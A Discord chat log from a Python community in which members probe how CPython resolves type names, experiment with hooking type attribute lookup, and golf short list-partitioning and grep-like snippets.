
so it's actually a class attribute?

#

just that A.__name__ special cases to avoid it?

rugged sparrow
#

there are probably a few special cased things like that

dry mirage
#

where is __name__ even overriden

rugged sparrow
#

!e ```py
class A:
dict = 'abc'

print(A.dict)
print(A().dict)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | {'__module__': '__main__', '__dict__': 'abc', '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}
002 | abc
dry mirage
#

does it call into any python thing

#

or is it straight to PyType(obj)->tp_name

#

wonder if you can override cls.__name__ to be random on call or some cursed thing

rugged sparrow
#

cls.__name__ is a descriptor, it calls type_name which coerces tp_name into a string unless it is cached then it just returns the cached string

earnest wing
#

yeah pretty sure it uses the type.__name__ descriptor

night quarryBOT
#

Objects/typeobject.c lines 638 to 649

static PyObject *
type_name(PyTypeObject *type, void *context)
{
    if (type->tp_flags & Py_TPFLAGS_HEAPTYPE) {
        PyHeapTypeObject* et = (PyHeapTypeObject*)type;

        return Py_NewRef(et->ht_name);
    }
    else {
        return PyUnicode_FromString(_PyType_Name(type));
    }
}```
dry mirage
#

does cls.__name__ at least hit type.__getattribute__?

rugged sparrow
dry mirage
#

what's different from tp_names of heap types?

rugged sparrow
#

heaptypes cache the string name they are passed in

#

so python doesnt need to realloc it

#

its faster to just store the pointer on the heap type struct

dry mirage
#

oh..

#

wat

#

why only for heap types?

#

aren't name access of static types more common?

rugged sparrow
#

static types cannot contain PyObjects at interpreter startup, and if you ended up getting the name of an uninitialized static type before str was initialized weird recursive errors could pop up (my best guess)

#

better to delay it

dry mirage
#

don't PyTypeObjects have like a bunch of PyObjects?

#

tp_bases, tp_mro, tp_dict

rugged sparrow
#

All of those are allocated and set during interpreter startup

#

Their construction can't depend on each other beyond the obvious required parts

dry mirage
#

doesn't PyObject already have a circular dependency on PyTypeObject

rugged sparrow
#

Oh also static type names are all interned so there isn't any reason to cache them again

dry mirage
#

ah I see

#

I guess PyUnicode_FromString hits the interning before alloc

rugged sparrow
#

Yea at least it should

dry mirage
#

!e

from fishhook import hook, orig

@hook(type)
def __getattribute__(self, name):
    print(self, name)
    return orig(self, name)

class Foo:
    pass

print(Foo.__name__)
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <class 'type'> __flags__
002 | <class 'fishhook.fishhook.c_char_Array_408'> from_address
003 | <class 'type'> __prepare__
004 | <class '__main__.Foo'> __name__
005 | Foo
006 | <class '_io._RawIOBase'> close
dry mirage
#

looks like __name__ does get to there at least

#

maybe it can override itself in there

restive void
#
class A:
    __name__ = "B"
    def __init__(self):
        self.__name__ = "C"

Can we still get "B" here?

rugged sparrow
#

!e ```py
class A:
name = "B"
def init(self):
self.name = "C"

print(vars(A)['name'])```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

B
rugged sparrow
#

!e ```py
from fishhook import hook, orig

class Foo:
pass

@hook(type)
def getattribute(self, name):
print(self, name)
return orig(self, name)

print(Foo.name)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <class 'type'> __flags__
002 | <class 'fishhook.fishhook.c_char_Array_408'> from_address
003 | <class '__main__.Foo'> __name__
004 | Foo
005 | <class '_io._RawIOBase'> close
dry mirage
#

!e hm

from einspect import impl, orig

@impl(type)
def __getattribute__(self, name):
    print(self, name)
    return orig(type).__getattribute__(self, name)
night quarryBOT
#

@dry mirage :x: Your 3.11 eval job has completed with return code 143 (SIGTERM).

001 | Traceback (most recent call last):
002 |   File "<string>", line 3, in <module>
003 |   File "/snekbox/user_base/lib/python3.11/site-packages/einspect/views/view_type.py", line 162, in wrapper
004 | <class 'codecs.IncrementalDecoder'> __init__
005 | <class 'einspect.type_orig.orig'> __new__
006 | <class 'einspect.type_orig.orig'> __new__
007 | <class 'einspect.type_orig.orig'> __new__
008 | <class 'einspect.type_orig.orig'> __new__
009 | <class 'einspect.type_orig.orig'> __new__
010 | <class 'einspect.type_orig.orig'> __new__
011 | <class 'einspect.type_orig.orig'> __new__
... (truncated - too many lines)

Full output: too long to upload

dry mirage
#

something ends up in a loop

rugged sparrow
#

yea for a long time fishhook had that issue

#

I assume that when I changed my hook strategy it fixed it by accident

dry mirage
night quarryBOT
#

src/einspect/type_orig.py lines 51 to 53

tp_new = PyTypeObject.from_object(type_).tp_new
method = obj_tp_new(TypeNewWrapper, (), {})
method.__init__(tp_new, type_)```
dry mirage
#

oh..

#

orig is a class

#

so it obviously ends up in a loop there

#

hm

rugged sparrow
#

mine is a class too tho, it should get stuck trying to lookup orig.__call__

dry mirage
rugged sparrow
#

!e 3.10 ```py
from fishhook import hook, orig

class Foo:
pass

@hook(type)
def getattribute(self, name):
print(self, name)
return orig(self, name)

print(Foo.name)

night quarryBOT
#

@rugged sparrow :x: Your 3.10 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'fishhook'
rugged sparrow
#

welp can't test on the bot

dry mirage
#

yeah

#

3.10

rugged sparrow
#

it worked on 3.10

dry mirage
#

wait what

#

I got

<unknown>.RecursionError: maximum recursion depth exceeded while calling a Python object

on 3.10.8 with fishhook

#

oh I needed to update

rugged sparrow
#

!pypi fishhook

night quarryBOT
dry mirage
#

looks like print(Foo) doesn't hit the hooked getattribute though

rugged sparrow
#

it pulls __qualname__ i think?

#

But I don't think it uses type getattribute in the repr

delicate lark
#

Who help me with free course for python

versed eagle
delicate lark
#

Why

versed eagle
#

!rule 7

night quarryBOT
#

7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.

unreal knoll
#

!e

deck = ["Card D", "Card A", "Card C", "Card A", "Card D", "Card 1"]
print("\n".join([f"The chance of drawing card {d[0]} is {str(int(d[1])/len(deck) * 100)[:6]}%" for d in [None if deck[i] == s else (s, str(len(list(reversed(sorted(deck)))[list(reversed(sorted(deck))).index(s):len(deck) - 1 - sorted(deck).index(s)]) + 1)) for i,s in enumerate(sorted(iter(deck)))] if d is not None]))
night quarryBOT
#

@unreal knoll :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | The chance of drawing card Card 1 is 16.666%
002 | The chance of drawing card Card A is 33.333%
003 | The chance of drawing card Card C is 16.666%
004 | The chance of drawing card Card D is 33.333%
proper vault
#

if you need a oneliner, I believe

[e for e in ls if x>0],[e for e in ls if x<=0]
```is shortest generally
versed eagle
#

they want it to be a function

proper vault
#

ye, two iterations will mostly be shorter

versed eagle
#

no, i mean. they want it to be able to use an arbitrary function to filter the list

#

the >0 was an example

radiant anchor
#
(lambda f: [e for e in ls if f(x)],[e for e in ls if not f(x)])(lambda x: x>0)
#

hm

versed eagle
#
_=lambda f,i:(c:=list(filter(f,i))),[o for o in i if o not in c]
versed eagle
radiant anchor
#

oops (I never ran it lol)

#

x should be e of course

versed eagle
#

ah

#

and then if you take ls as a parameter

#

then you're good

proper vault
#

ah, you wanted to golf that function specifically, not include the logic in another golf

versed eagle
#

at least thats what im pretty sure they meant

#

i could just be understanding this entirely wrong

#

but they said they wanted a filter function

#

so i assume they want it to be callable in the same way that filter is?

radiant anchor
#
lambda f, l: (o:=[[],[]],[o[f(x)].append(x) for x in l])[0]

(untested)

versed eagle
#

ooh that's a good one

proper vault
#

ah, clever

radiant anchor
#
>>> f2=lambda f, l: (o:=[[],[]],[o[f(x)].append(x) for x in l])[0]
>>> f2(lambda x: x>0, [1, 2, -3, -4, 5])
[[-3, -4], [1, 2, 5]]
#

seems so

#

may be "backwards" depending on if that's important

#

you could add a [::-1]

versed eagle
#

small improvement,

lambda f, l:(o:=[[]]*2,[o[f(x)].append(x) for x in l])[0]
proper vault
#

that doesn't copy the inner list

radiant anchor
#

oh yeah that's a problem

versed eagle
#

ah you're right

radiant anchor
proper vault
#

yeah, you are unlikely to actually have this be a full function in most golfs

radiant anchor
#

walrus operator is so OP for golfing lol

versed eagle
radiant anchor
#

true - in golf context you could likely negate the comparison anyway

proper vault
#
lambda f,l:(o:=[[],[]],[o[f(x)].append(x) for x in l])[0]
lambda f,l,o=[[],[]]:[o[f(x)].append(x) for x in l]*0+o
```very minor improvement
radiant anchor
versed eagle
#

nice

radiant anchor
#

its almost pure luck that it works here

#
>>> int(~True)
-2
>>> int(~False)
-1
versed eagle
proper vault
#

ah, good point

versed eagle
rugged sparrow
#

What do you mean by hook an operator? Do you mean globally or just on a specific type?

meager zinc
versed eagle
#

no

radiant anchor
#

already discussed above, not valid

versed eagle
#

we went through that already

meager zinc
#

why not

versed eagle
#

the two lists are then the same object

#

appending to one appends to the other

meager zinc
#

oh I see

versed eagle
#

!e

l=[[]]*2
l[0].append(1)
print(l)
night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

[[1], [1]]
meager zinc
#

python moment

versed eagle
#

l[0] and l[1] are the same object

meager zinc
#

mhm

#

technically function definition is shorter (no assignment necessary)

def f(f,l):(o:=[[],[]],[o[~f(x)].append(x)for x in l])[0]
versed eagle
#

in that case you need to return

meager zinc
#

oh

#

im being dumb today

#

why dont we golf some euler challenges

versed eagle
#

ooh i have an idea

#

for something to golf

#

though it's not a short thing to begin with

#

why not golf a (naive) implementation of grep

meager zinc
#

ooh

versed eagle
#

basically, given a regular expression and a list of filepaths, print all lines in the files that match the regular expression

#

if you want an extra challenge, do it without a regex library

#

though that'd be. a lot harder

meager zinc
#
import sys,re
_,r,*s=sys.argv
for f in r:print(re.match(s,open(f).read()))
#

not perfect

#

the output will be weird

#

<Match object ...>

versed eagle
#

you have it backwards

sly ibex
#

hey

#

n0ob0b0b0bb0b0b said to me
golfing is not about the shorten code is about the shorten code in bytes
is that true?

versed eagle
#

you're doing for f in r
r is the regular expression, *s would be the list of files

sly ibex
#
t=input();print(''.join([chr(ord(i)-32)if 96<ord(i)<123 else i for i in t]))

this is golfing

but this no?
t=input;print(t.lower())

meager zinc
#
import sys,re
_,r,*s=sys.argv
for f in s:print(*re.findall(r,open(f).read()))
#

is better

meager zinc
meager zinc
#

hi

versed eagle
meager zinc
#

what do you mean

#

cmd regex files...

versed eagle
#

re.findall docs

Return all non-overlapping matches of pattern in string, as a list of strings or tuples. The string is scanned left-to-right, and matches are returned in the order found. Empty matches are included in the result.
sly ibex
#

hwo would you do this without use importing

a = "AGTTTTAC"
char, amount = "", 0
c, counter = "", 0
for i in a:
    if i != c:
        c, counter = i, 0
    counter += 1
    if counter > amount:
        char, amount = c, counter
print(char, amount)
meager zinc
meager zinc
#

or equivalent

sly ibex
meager zinc
versed eagle
#

the intended behaviour is something like this

import sys,re
for f in(sys.argv[2:]and map(open,sys.argv[2:])or(sys.stdin,)):
 for l in f.readlines():
  if re.match(sys.argv[1],l):
   print(l,end="")
sly ibex
versed eagle
#

for every file that's passed, loop through each line in the file
if the line matches the regex, print it

meager zinc
#

I see

#

what you mean

versed eagle
#

and if no files are passed, use stdin

versed eagle
meager zinc
#

yes it can

versed eagle
#

have fun golfing, gn!

sly ibex
#

i bother you?

meager zinc
sly ibex
#

are you busy?